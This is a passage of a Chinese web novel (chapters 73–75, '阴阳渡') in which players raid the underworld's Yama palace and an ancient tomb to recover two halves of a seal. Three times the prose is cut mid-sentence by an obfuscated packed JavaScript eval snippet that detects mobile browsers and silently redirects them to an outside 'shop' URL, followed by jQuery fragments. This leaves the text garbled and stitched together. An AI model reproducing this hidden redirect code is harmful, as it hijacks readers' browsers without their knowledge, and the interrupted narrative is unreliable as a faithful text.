白无常轻笑:“其三,若遇阴差盘问,就说,二位乃无常座下‘走阴人’。” 走阴人,指能在阴阳两界行走的特殊存在,地府阴差不会管。 初与序先是一愣,随即轻笑,和冬逢初郑重地行了一礼:“多谢二位行此方便。” 待黑白无常的身影完全消散在阴雾中,两人脸上的恭敬神色瞬间褪去。冬逢初望向远处的隐在浓雾中的巍峨殿宇:“不得靠近阎罗殿?他们倒是会提条件。” 初与序收起短刀:“本就是权宜之计。镇魂玺在阎罗殿,我们非去不可。” “那这第二条规矩呢?”冬逢初转向她。 “子时回望乡台?”初与序唇角微扬,“等我们拿到镇魂玺。直接破界离开便是,何必遵守?” 两人对视一眼,方才在黑白无常面前表现出的温顺受礼早已荡然无存。 话是这么说,只是这镇魂玺,没那么轻易拿到。阴阳彻底崩溃后,活人入阴者肉身凐灭,阳间者被万鬼撕碎。 但副本既然存在,就一定有生路,关键在于“平衡”。 所以,阴间组需要拿到其中一半镇魂玺后尽快离开,不可久留。而阳间组需要在厉鬼最弱的白天行动,午夜前必须汇合。 修复镇魂玺的本质,是重新划定阴阳界限。 现在黑白无常未直接攻击他们,甚至默许他们行动,说明地府方也希望镇魂玺修复。孟婆肯透露情报,意味着NPC可以合作,但这里的判官、鬼将等可能仍会阻拦。 初与序站在原地环视四周,发现阴间的阴气并非单纯侵蚀活人,而是试图同化,让人逐渐成为阴间的一部分。若自己和冬逢初停留太久,可能肉身腐化,或魂魄被强制剥离,真正变成亡魂。 现在要做的,就是加快行动,同时借助【血符秘术】道具,用符咒暂时隔绝阴气,为自己和冬逢初争取时间。还要和阳间三人取得联系,交换情报。 下一秒,子时的梆子声从虚无中响起,初与序回过神,和冬逢初来到望乡台断裂的石阶上,看着阴阳两界的雾气缓缓交融在一起。 脚下的青砖开始渗出阳间的雨水,每一滴都映着扭曲的倒影。冬逢初碰了碰初与序的手背:“看。” 透过逐渐稀薄的阴雾,他们看见焦黑的荒村里,景明垂的琴弦正勒住一只水莽鬼的脖颈;江意的机械手环红光亮起,将满地的石块悬在半空;随歌的竹扇腥风血雨。三人的武器都泛着过度使用后的暗淡光泽。 “走。”初与序向前迈步,冬逢初跟上。 73.阴阳渡 天旋地转间,阴冷的鬼火和阳间的夜风绞作一处。等视野恢复时,随歌的竹扇离冬逢初的咽喉只剩三寸。 “我操!吓死人了!”随歌硬生生收势,差点伤到冬逢初,“你们是人是鬼啊?为什么是半透明的?” 景明垂的琴弦还缠在初与序腰上,勒破了衣料。两人沉默地对视一会,景明垂无语地把琴弦收回,用眼神询问她有没有伤到。初与序摇头:“没事。” 五人在荒村焦土上面面相觑,各自带着未愈合的伤。 随歌合上竹扇,从面板里掏出五瓶草莓牛奶,将其中四瓶塞到四个9队友手里:“终于见面了,先找个地方待着。这破地方都没有草莓牛奶贩卖机,幸好我提前准备了。” 五人围坐在半塌的祠堂内。景明垂的琴弦结成简单结界,江意的手环泛着微光,驱散四周蠢蠢欲动的阴气,为他们准备出安全区域。 初与序盘腿席地而坐:“先说我们这边的。” “掉进枉死城外围,躲过阴差。”冬逢初咬着草莓牛奶的细管,“问了孟婆,说是镇魂玺碎裂导致阴阳失衡。阴间半块在阎罗殿,阳间半块被大妖所占,应该在古庙附近。” “等等。”江意转向两人,“你们进阎罗殿了?” “暂时没有。”初与序道,“黑白无常不让我们靠近阎罗殿。” 景明垂点点头,将阳间的遭遇娓娓道来:荒村的引魂灯,附尸的怨灵、槐树下的鬼打墙。江意翻着《阴符经》补充:“那些尸体上,有类似于契约的痕迹。” 随歌用竹扇指了指不远处地上的焦尸:“像有人在拿活人养鬼。” 夜风突然变得刺骨,五人同时沉默,某种可怕的猜测浮现在空气中。 “有人故意撕开阴阳界。”景明垂轻声道,“但所有人都以为真正的源头是阎君和妖王争斗,导致玉玺分成两半。” “总有刁民想害朕!”随歌气道,“是人是鬼?阴间的还是阳间的?” 初与序摇摇头:“我认为撕开阴阳界的人不是副本里的NPC或者BOSS。他隐藏的很好,连地府的黑白无常和孟婆都没发觉。只有两种可能。” “一种,他并不存在,是我们推测错误。” “另一种,他存在于另一个世界,可能是永冬之城,可能是现实,也有可能是我们都不知道的地方。” 江意翻动书册的手指停下,皱眉看向初与序:“所以呢?” 初与序摊开手:“所以我们暂时不能寻找到底是谁撕开了阴阳两界,容易引火上身。还是先商量明天的计划才好。” 景明垂点点头,随手翻开《阴符经》某一页。纸页上画着一块残缺玉玺,注解潦草:「镇阴阳,定轮回,碎则两界溃」。 “你们说的‘镇魂玺’就是这个吧。”景明垂点了点书页,“很巧,我刚刚才想起,村里每具行尸心口都嵌着这东西的拓印纹。” 随歌的竹扇啪地合拢:“难怪杀不干净!”他将竹扇指向插图边的小字:「阳玺镇妖,阴玺安魂」。 初与序的目光在「阴玺」二字上停留片刻:“明天我和冬逢初潜入阎罗殿找到阴玉玺。” “那我们三个想办法找到阳玉玺的地点,然后拿到。”随歌盘腿坐着,面上没有丝毫紧张的表情,“但问题是,村子这么大,阳玉玺到底在哪里?” 话音未落,屋外传来枯枝断裂声,五人同时屏住呼吸,初与序飞快熄灭符火,黑暗中只余此起彼伏的呼吸,和远处渐渐清晰的铁链拖地声。 “子时过了。”景明垂用只有五人能听见的声音说,“阴差开始巡阳了。” 铁链声越来越近,屋内破旧的窗户上渐渐映出惨白的光,看上去是阴差提着的引魂灯。 “我们先走一步。”初与序一把拽住冬逢初手腕,两人迅速隐入屋子后方的阴影处。她快速捏诀,一道隐匿符无声燃尽,两人的气息与墙面融为一体。 “奇怪。”黑无常的声音在门外响起,“方才明明有生魂味。” 白无常道:“或许是夜猫。” 就在阴差即将离去时,村东头突然响起尖锐的唢呐声,接着是三声闷鼓: “咚!咚!咚!” 声音震得屋子房梁上的灰尘簌簌落下,景明垂反应过来:“这是喜丧鼓!” “哇靠!又有刁民想大张旗鼓地害朕!”随歌吓得从地上蹦起。 村道上,一顶猩红的花轿凭空出现,轿帘无声自动,露出新娘惨白的手指。轿夫们脚尖点地,每一步都在泥土上留下黑色焦痕。 “是鬼新娘。”江意一眼认出,“生前是被活埋的新娘,死后怨气化煞。” 随歌的竹扇已经展开:“管她怎么死的,先想办法保命再说!” 鬼新娘猛地掀开盖头,那张脸上只有一张血盆大口。她尖啸着扑来,嫁衣下伸出数十条细到过分的手臂。 景明垂微微抬手,琴弦将袭来的手臂尽数斩断。江意使用手环,重力场扭曲了花轿周围的空间,使鬼新娘动作迟缓。随歌趁机跃起,竹扇掀起狂风暴雨,每一滴雨都化作冰针射向新娘! “看她的心口!”景明垂忽然道,“有东西在发光。” 两人抬头看去,鬼新娘的胸口处,隐约透出一抹诡异的青光。 “那玩意儿不会是镇魂玺吧?”随歌眯着眼,惊讶道,“要害朕的刁民来送线索了?!” 初与序和冬逢初在暗处看得真切,冬逢初握紧剑柄,低声道:“要出手吗?” 初与序摇头,示意他看不远处还在巡阳的黑白无常:“现在现身,阴差会发现我们。” 鬼新娘的嫁衣突然暴涨,化作漫天血雾笼罩而下。景明垂的琴弦最先做出反应,三根琴弦破空而出,在血雾中织成一张星斗网。 “坎位!”她喝道。 江意踏前一步,被琴弦标记的位置立刻重力倍增,血雾像被无形大手拍中般,急速坍缩。鬼新娘一个踉跄,露出胸口那抹青光。 阳间三人的配合越发默契,景明垂用琴弦缠住鬼新娘的脖颈,江意的重力场将她死死压在地上,随歌的竹扇最后一击! “尘归尘!土归土!” 鬼新娘发出一声凄厉的惨叫,身躯渐渐化作青烟消散。一块残缺的玉佩当啷落地,被景明垂接住,上面刻着半个模糊的玺印。 景明垂用指腹抚过纹路:“这不是镇魂玺,看起来像方位图。” 玉佩上的青光忽然投射在地上,显现出一条蜿蜒的路线,最终指向西南方的一座深山。 “阳间半玺在古墓。”江意推了推眼镜,“看来我们明天有的忙了。” 初与序转向冬逢初:“该回去了。” 夜风卷着纸灰掠过荒村,两人站在断墙后,望着不远处飘荡的黑白无常。两位阴差正提着引魂灯,在村中巡逻。 冬逢初压低声音:“虽然但是我们怎么回去?” 初与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16135582|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序沉默片刻,眨了眨眼:“……是个好问题。” 阴间的门不是活人能随便开的,他们之前能来阳间,是借了子时阴阳交界的缝隙。如今时辰已过,再想回去,只能另寻他法。 两人大眼瞪小眼一会,初与序忽然从袖中取出一张匿息符,手一抖,符纸燃起幽蓝的火光,将两人笼罩在一层薄雾般的屏障里。 “跟着他们走。”她的目光落在黑白无常身上。 冬逢初忍不住问:“你确定这能行?” “没别的方法。” 两人小心翼翼来到黑白无常身后几十米位置,无常似乎没有察觉身后之人,脚步不停,依旧向前走去。 忽然,一只夜猫从冬逢初身边跑过,踩到一根枯枝,发出“咔”一声。 ……又是干坏事而且不能被发现时的经典剧情。 白无常猛地回头。 两人立刻屏息凝神,连心跳都几乎停滞。白无常的目光在他们藏身的草丛停留片刻,最终又转了回去。 “错觉?”黑无常皱眉。 “阴风作祟罢了。”白无常的嗓音有些飘忽,“快点回去交差,今晚亡魂躁动得厉害。” 两人一路尾随,终于来到村口的老槐树下。树干上裂开了一道漆黑的缝隙,隐约能看见里面蜿蜒向下的石阶,应该是阴阳两界的通道。 黑白无常的身影渐渐消失在黑暗中。 身后两个人对视一眼,跟上。 黄泉路上的雾气比往日更浓,两人小心翼翼跟在黑白无常身后三丈处,匿息符的幽光在黑暗中若隐若现。 “今日那两个活人,倒是稀奇。”白无常忽然道。 黑无常的锁链缠住一个试图逃跑的亡魂:“阳寿未尽却擅闯地府,本就是找死。” “不。”白无常摇头,嗓音忽然压低,“我是说。他们之中,有一个气息不太对劲。” 初与序倒没料到,这一路跟着黑白无常,竟还能听到他们讨论自己和冬逢初。她侧头看了冬逢初一眼,两人眼底都是疑惑。 “其中一个阴气太重,不是活人该有的。”白无常继续道,“而另一个,似人非人,非生非死,没有魂魄的波动,却也不是死物。” 黑无常细长的手指抚过自己的长发:“有趣,那丫头身上牵着因果线,而且不是一般的多。可她同伴的因果线很奇怪,有时和她一样,有时却无线可牵,像被什么东西影响着。” 远处传来亡魂的呜咽,白无常的高帽在阴风中微微晃动:“要禀报判官吗?” “不急。”黑无常幽幽道,“且看他们能翻出什么浪来。” 两人的身影渐渐融进浓雾,最后一丝话音飘散在风里—— “——反正逃不出因果。” 冬逢初微微弯腰,轻声问初与序:“黑白无常在说什么?” “听不懂。”初与序蹙着眉,摇摇头。 后颈的黑发被阴风撩起,露出一截苍白半透明的皮肤。她似有所感,将要回头瞧,手腕忽然被冬逢初握住,力道不重。 他的指腹在初与序腕骨上轻轻一按:“黄泉路上不回头。” 初与序的动作停住。 雾气中隐约传来细碎的声响,像是有人在笑,又像是有人在哭,还有利刃割开皮肉的声音。 冬逢初的拇指又摩挲了一下她的手腕,这次带了些安抚的意味:“走。” 初与序收回目光,重新迈步。 74.阴阳渡 晨雾未散,阴间二人藏身于望乡残破的屋檐下。初与序用手指蘸着忘川水,在青砖上勾画出阎罗殿的布局。 “亡魂入殿,必过三审。”初与序点向水痕勾勒出的正门,“先过孽镜台,再验《功过格》,最后才由判官定罪。我们可以装作刚离世的亡魂,混入阎罗殿。” 冬逢初抱着胳膊盯着水图:“我们并非死者,既没有生前罪业要照,又没有《生死簿》可查,怎么装?” 初与序从怀中取出一叠泛着青光的纸钱,将纸钱折成两个小人,咬破指尖点染双目:“用这个,替身纸傀,可以暂时隐瞒我们的活人气息,但孽镜台照的仍是本魂。” “你杀过NPC,我放过火。镜前一照,无所遁形。”她抬头和冬逢初对视,“不过这些事都有因果。在阴司审判中,‘不得已而为之’的罪行可以从轻发落,但活人擅闯地方才是重罪。” “我们宁可让判官核查‘生前’善恶,也不能让他们知道我们是活人。” 冬逢初认同地点点头,又问:“那我们是怎么死的?” 初与序垂眸,手指轻轻抚过纸傀空白的胸口,这里本该写着亡魂的死因。她沉吟片刻,抬眼看他:“你我本就有八分相似。” “装兄妹?”冬逢初笑道。 “嗯。”初与序将纸傀翻过来,指尖凝成一缕阴气,在上面勾画出几道裂痕:“不慎坠楼,同日而亡。” 纸傀的关节处随着她的动作发出细微的“咔咔”声,仿佛真的摔断过骨头。冬逢初勾起唇角,学着她的样子在自己那具纸傀上划出同样的伤痕。 “那哥哥该护着妹妹才是。”他轻轻地将纸傀的手臂弯成保护的姿态。 初与序很认真地看向他,声音平静:“如果我们真的是兄妹,我不要你有多想着保护我,我要你先保护好你自己。” “……不是兄妹也是。” 冬逢初依旧温柔地笑着,没有点头,也没有反驳,只是将两具纸傀并排放好。纸人的衣摆无风自动,渐渐染上血色,倒真像一对枉死的兄妹。 同一时刻,初与序和冬逢初的衣服也渐渐染上鲜血。 远处,阎罗殿外的青石阶上已经排起了长队。新死的亡魂们垂首而立,脚踝拴着沉重的镣铐,每走一步都发出刺耳的拖拽声。 初与序和冬逢初站在队伍末尾,身上穿着地府罕见的现代衣物,衣领处晕开大片暗红血迹,顺着衣料纹理蜿蜒而下,明显是从高处坠落时头部受创的痕迹。 把守殿门的牛头鬼差挨个检查亡魂,钢叉不时戳进某个魂体的肩膀,挑出几缕生前的记忆查验。轮到他们时,牛头狐疑地打量着两人相似的面容:“新死的?一家人?” 初与序咳嗽两声,点点头:“没错,他是我哥哥。” 牛头的钢叉抵住她肩膀,翻检记忆。在纸傀的作用下,只看到模糊的高楼边缘、突然失去平衡的瞬间,以及“兄妹”二人坠落的画面。 钢叉又抵向冬逢初,冬逢初被戳得后退一步,神色平静。 牛头没发现什么,挥了挥钢叉:“进去吧,下一个!” 两人垂眼,随着队伍缓步踏入阎罗殿。殿内阴气更重,四周鬼火幽幽,高耸的殿柱上缠绕着手臂粗的锁链。而前方,孽镜台就在不远处。 镜面幽邃如深潭,照到的第一个亡魂是个白发老翁,镜中浮现他一生行医济世、施粥赠药的画面。判官朱笔一挥,老翁便被金甲力士引向西侧轮回道。 紧接着是个满脸横肉的壮汉,镜中顿时血光冲天。虐杀牲畜、欺辱孤寡,甚至为几两银子放火烧屋。判官冷笑一声,钢叉鬼差立刻将惨叫的壮汉拖往地狱道。 初与序神色不动,余光却扫过殿侧阴影。那里有一条被幔帐半掩的侧廊,通往阎罗殿深处。 队伍又前进了几步。 这次是个年轻女子,镜中映出她悬梁自尽的场景,却忽然画面扭曲。原来她生前为护幼妹,亲手毒杀了欲行不轨的豪绅。判官沉吟片刻,竟破例让她去了人道。 “到我们了。”冬逢初通过耳骨夹传音给初与序。 殿内阴风骤然停止,初与序缓步上前,衣摆扫过青黑石砖,孽镜台的幽光入水般漫上她的身影。 “咔嚓”,一道裂痕毫无预兆地爬上镜面。 初与序吃了一惊,还未动作,那裂痕却已疯狂蔓延。镜中本该映出的画面扭曲成一片猩红,有血从镜面裂缝中漫出,隐约有尸山火海翻涌,又似万千怨灵尖啸着要破镜而出。 “怎么回事?!”判官拍案而起。 “嘭——!!!” 孽镜台轰然炸裂!无数碎片迸溅,如刀锋般划过四周鬼差的脸。一块尖锐的镜片擦着初与序脖颈飞过,在活人身体上留下一道血痕,她却连眼睛都没眨一下,愣在原地惊讶地看着面前场景。 冬逢初上前一步想将她拽到身后,但就在他踏入镜台范围的下一秒,“轰隆!”一声,残留的镜座竟直接塌陷,地砖裂开缝隙,黑血猛地从地底涌出! “是孽镜都照不出的罪业……”牛头鬼差的声音在发抖。 整个阎罗殿瞬间沸腾!所有人的目光聚集在站在碎镜残片中的两人身上,一个清冷如霜,一个沉静似水,怎么都看不出像是罪孽滔天之辈。可偏偏,孽镜台碎了。 判官的朱笔“啪”地拍在桌案上,墨汁溅在《生死簿》上。鬼差们慌乱地挥舞钢叉,锁链碰撞声刺得人头疼。 “拿下他们!!!” 黑无常的锁链窜来,白无常的哭丧棒直击天灵盖。初与序反手甩出三张爆破符,冬逢初的长剑已折断最先袭来的三根勾魂索。 但更多的鬼差从四面八方涌来。 两人在鬼差的怒吼声中冲向阎罗殿侧廊,身后传来钢叉砸碎地砖的爆响,黑无常的锁链绞断了一整根殿柱,紧接着,无数支追魂箭袭来。 【系统提示:检测到致命攻击,请问玩家初与序是否使用《十只兔子》的奖励道具:「九兔子的祝福」?】 “使用” 初与序猛地刹住脚步,转身伸手。 一道冰蓝色的屏障骤然展开,半透明的光幕上流转着九兔子的幻影。第一支箭撞上屏障上瞬间,箭身上的阴火被冻成冰晶,簌簌碎裂。紧接着是第二支、第三支。 冬逢初的剑锋还保持着格挡的姿势,他侧头看向初与序。冰蓝光芒映在天沉静的侧脸上,睫毛投下的阴影遮住了她眼底的神情,但能看到她的右眼仍是灰蒙蒙的。 五秒。 箭雨停歇的刹那,屏障如泡沫般消散。初与序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16140735|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌心还残留着冰雪的凉意,她一把抓住冬逢初的衣袖:“愣着干什么?跑!” 两人拐进一条狭窄的甬道,墙壁上悬挂的鬼火灯盏被劲风带得剧烈摇晃,将他们的影子拉长又扭曲。 初与序的后背紧贴在冰冷的石壁上,胸口剧烈起伏。冬逢初长剑横在身前,剑刃上还滴着血。 “暂时甩开了。”冬逢初低声道,声音里带着喘息。 初与序刚要点头,突然僵住。 她缓缓转头,对上了一双含笑的眼睛。 一个年轻鬼差就站在拐角阴影处,手中的锁链垂落在地,发出轻微的碰撞声。他扎着低马尾,苍白的脸上没有其他阴差那种严肃,反而透着一丝悠闲。 三人对视上,这个画面一时间变得尴尬。 冬逢初立刻抬起长剑,直指对方咽喉。 “把剑放下。”鬼差开口,声音出乎意料地平静,“这里不是活人的地盘,你们打不过我,但我不会伤你们。” “在下许白,不归我管的差事,我懒得插手,只是路过而已。” 锁链在他手中晃了晃,竟主动缩回了袖中。许白侧身让开通道:“再往前左拐,是往孽镜台后殿的密道。阎罗王正在闭关,今日殿里只有判官坐镇。” 初与序静静站在原地,似乎是在判断许白话的真假。她抬眼:“既然不管,又为什么帮我们?” “我知道你们活人来阴间的目的。如果你们修复镇魂玺,我就不用加班了。”许白轻笑一声,“快走吧,再耽搁,他们就要用搜魂幡了。” 远处传来刺耳的铜锣声。 冬逢初看了初与序一眼,两人默契地朝许白让开的方向冲去。擦肩而过时,冬逢初低声道:“多谢。” 许白颔首,身影渐渐隐入黑暗。 黑暗的密道尽头,是一扇刻满符咒的青铜门,门上九枚铜钉排列成北斗状,正中嵌着一只狰狞的饕餮兽首,兽眼处幽幽泛着青光。 初与序上前抚过门缝,沾了一抹暗红色的锈迹:“这是镇魂血符。” 她静静观察着门上的铜钉,发现铜钉是反过来的。 北斗七星本该勺口向东,这里的排列确实倒置。初与序伸出手,依次点过天枢、天璇位。当碰到第三枚铜钉时,饕餮的獠牙突然“咔”地裂开一道缝。 门内涌出刺骨寒意。 阎罗后殿阴气极重,比想象中空旷,唯有中央一座玄冰台,台上悬浮着半块残缺的玉玺。玺身剔透如墨玉,断裂处却流转着血丝般的纹路,仿佛有生命在其中鼓动。 冬逢初刚要上前,地面突然浮现出密密麻麻的咒文。冰台四周升起七盏青铜灯,灯芯无火自燃,竟是其中颜色的异火! “七情锁魂阵。”初与序淡淡道,“阎罗王倒是谨慎。” 她从腰间拔出短刀,割破手掌,血珠滴在最近的青色灯盏上。火焰“嗤”地变成血红色:“怒。” 冬逢初会意,剑锋划过自己手掌,血滴落白色灯盏:“哀。” 随着两人依次献上喜、怒、哀、惧、爱、恶、欲七种血气,冰台发出咯吱声响。当最后一盏紫色灯焰熄灭时,玉玺“铛”地坠落在冰面上。 初与序一把抓起半玺。 刹那间,整个阎罗殿地动山摇! 75.阴阳渡 阳间,n小时前。 玉佩上的青光在踏入古墓的瞬间便熄灭了。景明垂的琴弦缠在手腕上,三枚铜钱悬在身前,泛着微弱的金光。 “咱仨现在这么做,难道不算是盗墓贼吗?要让我爸知道我跑来盗墓,非把我从族谱上删掉不可。”随歌抱着竹扇蹲在一边,瞧着古墓深处,“哎你们说,这墓主人会不会突然跳起来告我们侵权啊?” 江意面无表情:“放心,你这种智商,族谱删不删区别不大。” “喂!”随歌跳起来瞪眼,“我好歹是全服第六!意哥你这是队友该说的话吗?” “……”江意扫了他一眼,懒得回话。 随歌继续碎碎念:“不过咱盗墓也得讲究基本法吧?连个黑驴蹄子都没有,万一蹦出个粽子,咱仨咋办?不过我可以和它聊聊天,看看能不能把它烦走。” 景明垂无奈地听着这两人荒谬的对话,最终选择捂住耳朵。她的目光落到身边随歌的竹扇上,扇骨间凝着几滴未落的露水。 在这地底深处,哪里来的露水? “这古墓是活的。”江意突然道。 他的机械手环红光扫过墓壁,照亮了上面密密麻麻的“砖石”,但那其实是无数压缩变形的头骨,空洞的眼窝里爬满血丝般的红藓。 景明垂的铜钱突然叮当落地,排成一个凶煞的“陷”字。 “退后!” 地面突然下陷!随歌反应过来,竹扇猛地插入岩峰,另一只手抓住下陷的江意。景明垂控制着琴弦缠住上方石笋,三人在塌陷的墓道里摇摇欲坠。 下方传来某种物质的蠕动声,江意垂下右手,手环的光照亮深渊。那是一片蠕动的“地面”,由无数交错的苍白手臂组成,关节像骨折了般扭曲,掌心还睁着眼球。 “快跳到左边平台去!”随歌忽然道,他咬破舌尖,血珠溅在上面。 下一秒,血染的竹扇突然暴涨三倍,扇面水墨化作实体般的黑蛟。三人借力跃起的瞬间,那些手臂猛地暴涨,最长的指甲里江意只差半寸。 三人落到左边平台,脚下的地面布满青铜铭文,景明垂借着红光仔细阅读上面的文字,刚辨认出“擅入者焚”四字,四周突然亮起九盏人鱼灯,火焰是绿色的。 那绿火粘上随歌的袖口,随歌被吓了一跳:“AUV忒烫了!!!烫烫烫……诶?不烫?” 只见绿火不似寻常火焰般烫伤手臂,反而在转眼间冻得他整条手臂青紫,甚至开始缓慢结出冰霜。 随歌沉默了几秒,又嚎了起来:“AUV冰乍凉!冰冰冰!!!” “吵死了闭嘴!”景明垂飞快用琴弦割开自己指尖,血珠甩在随歌手臂上:“这是阴火,得用……” 话未说完,墓顶突然垂下密密麻麻的丝线。三人同时抬头,这才发现那些细长的黑线是一根根头发丝。一具穿着冕服的悬尸缓缓降落,腐烂的玉腰带间嵌着半块青玺,此刻在黑暗中泛着烛光。 尸王的眼皮突然睁开,空洞洞的眼窝直勾勾转向三人。 整个墓室扭曲,景明垂的铜钱突然悬浮在半空,疯狂旋转但无法落下。随歌手臂上的阴火突然窜高,冰霜瞬间蔓延至半条胳膊。 四周的景象开始崩塌重组,青砖化为血肉,铭文变成血管,就连那九盏人鱼灯都扭曲成吊死的宫女,提着绿莹莹的灯笼飘荡。 尸王的身影开化寺分裂,化作无数个重叠的影子,每一个都伸出爪子,抓向三人。 “幻术?!”江意强忍着手环的反噬,将精神力催动到机制。 机械手环的红光忽明忽暗,齿轮逆向转动,发出哀鸣。江意咬破指尖,鲜血抵在手环核心处。随着“咔”一声脆响,手环猛地爆发出能量,冲破了幻术第一层。 他眼前的景象短暂清晰了一瞬,映入眼帘的就是尸王真身正悄然逼近景明垂后背! “景明垂,身后!” 景明垂会意,立刻伏底身子,江意根本来不及多说什么,手环全力发动。 以江意为中心,三尺内的空间突然扭曲塌陷!尸王的身形猛地顿住,被无形的力量按在原地。那些幻化的鬼影宫女尖叫着被吸入坍缩点,绿灯笼接连爆裂。 幻术被破的瞬间,江意也闷哼一声,身形一晃,被随歌及时扶住。 尸王发出愤怒的嘶吼,冕冠上的玉珠崩飞。它胸口嵌着的阳玺突然血光大盛,整个墓室开始剧烈摇晃震动!三人立刻伸手扶住墓墙,才勉强稳住身形。 紧接着,古墓的每一道缝隙里都开始渗出浓稠的绿雾,那雾气带着腐肉与草药混合的刺鼻气味,所过之处,连石壁都发出被腐蚀的“滋滋”声。 随歌站在离石壁缝隙最近的位置,被毒物呛得剧烈咳嗽起来,喉间顿时涌上一股腥甜。他使用竹扇唤风,勉强撑起一片屏障,但毒物依旧缓缓渗入。 “我就知道这破副本又要放毒…咳咳!”随歌用空着的手捂住口鼻,“前几次是初与序和冬逢初中毒,现在轮到我了,还他妈是毒雾!咳咳……” 琴弦从景明垂袖中划出,三枚铜钱悬于毒雾最浓处。她指尖上的血还未干,滴落在琴弦上,血珠顺着琴弦滑落,在铜钱上画出三道血符。 “天地清明,秽气分散。” 琴弦猛地颤抖,发出清脆的铮鸣。铜钱上的血符亮起金光,如小太阳般刺透毒雾。 “破!” 金光炸裂,毒雾渐渐退散。那些绿雾在金光中尖叫着化作青烟,露出尸王狰狞的面容。 然而,还不等三人喘息,尸王突然发出一声尖啸,腐烂的双手猛地插入自己胸口,竟然将嵌在胸口的阳玺硬生生挖了出来! 整个墓室的壁画突然剥落,露出后面密密麻麻的尸茧,每个茧中都蜷缩着一具尚未腐烂的尸体,此刻正齐齐睁开空洞的眼睛。 “退到甬道!”江意的手环发出刺耳的警报声,他强行启动超载模式,将重力场压缩成一道无形屏障,暂时阻隔了苏醒的尸群。 随歌的竹扇展开如刀,整个人凌空跃起,扇刃直取尸王咽喉! 尸王竟用阳玺格挡,青黑色的玺身与竹扇相撞,迸发出刺目的火花。反震之力让随歌虎口崩裂,而尸王的利爪已经掏向他心窝! “小心!”景明垂猛地拽动琴弦,琴弦瞬间缠住尸王双腿,尸王身形一歪。江意趁机发动重力坍缩,将尸王持玺的手臂硬生生压出裂痕。 随歌竹扇回旋,终于劈断了那只手腕! 阳玺坠落,他猛地扑过去接住,玉玺入手冰凉刺骨,玺身纹路中似有活物溶洞。他刚要将它收起,却见地底突然窜出无数妖藤,每一根都长满倒刺,瞬间缠住他的四肢! “接着!咳…”随歌用尽全力将玉玺抛给景明垂,“阳玺在排斥活人,你们先走!” 尸王此刻已经捡起断手,黑血如蛛丝般将伤口重新黏合。它空洞的眼窝锁定景明垂手中的阳玺,腐烂的声带振动发出含糊咒言。霎时间,所有尸茧同时破碎! 江意咳出一口血:“景明垂,用阳玺开道!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16140736|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >景明垂将琴弦缠上阳玺,铜钱在玺面敲出颤音。被音波扫到的尸群动作一僵,她趁机甩出三根琴弦,精准钉入随歌周身大穴,藤蔓痉挛着松开些许。 “意哥!”她将阳玺抛向半空。 江意跃起接住,手环残余的能量全部灌入玺中。阳玺顿时青光大盛,照出墓顶一道隐藏的裂缝,那里隐约透出星月光辉。 “这里有生路。”他刚喊出口,尸王的利爪已穿透他的肩胛。 随歌突然暴起,试图挣脱的藤蔓。竹扇化作一道青光斩断尸王的手臂,自己却被另一波藤蔓缠住腰腹拖向墓室深处。 “你们快走!”他最后掷出的竹扇撞在阳玺上,两股力量叠加,震开了墓室。纷落的碎石中,景明垂看见随歌被藤蔓彻底淹没。 地府。 子时的更漏声穿透地府时,阴玺正在初与序掌心疯狂跳动,漆黑的玺身迸发出血丝般的纹路,那些纹路缠上她的手腕。 殿顶的琉璃瓦开始崩裂,判官笔从案台上震落,朱砂墨泼洒在《生死簿》上,晕开大片刺目的红。 初与序一把将阴玺塞给冬逢初,反手甩出七张符纸。符火未燃,黑无常的锁链已经劈开烟雾,直直取向她咽喉。 冬逢初长剑格挡,锁链与剑刃相撞迸出蓝紫色的鬼火。他借力后撤,白无常的哭丧棒却从背后袭来,棒头纸幡上的“见吾生畏”四字突然化为实体,扑向他后颈。 初与序抽出短刀,精准斩落纸幡,刀锋在阴气侵蚀下结满冰霜,她一脚踹开侧翻的青铜灯盏,灯油泼洒成火墙暂时阻隔追兵。 “往西侧廊跑!”她和冬逢初冲向描金屏风,屏风后竟然藏着条狭窄的密道。 阴玺在冬逢初怀中不断嗡鸣,震得他胸口发麻。密道墙壁上那些本该静止的幽冥壁画突然开始蠕动,夜叉恶鬼的眼珠转动着盯住他们,壁画颜料化作黑血滴落。 初与序忽然闷哼一声。不知何时,一根红线缠上了她的脚踝,线头延伸至密道深处。红线所过之处,她的肌肤迅速泛出死人才有的青灰色。 这是判官的“勾命丝”,她挥刀斩向红线,刀刃却穿线而过。 冬逢初将阴玺往腰间一别,左手持剑斩向虚空。剑锋上突然燃起阳火,红线在火种蜷缩断裂,初与序脚踝已经留下一圈深可见骨的勒痕。 前方出现微光,两人冲出密道,映入眼帘的竟然是阎罗殿背后的“阴阳界碑”。 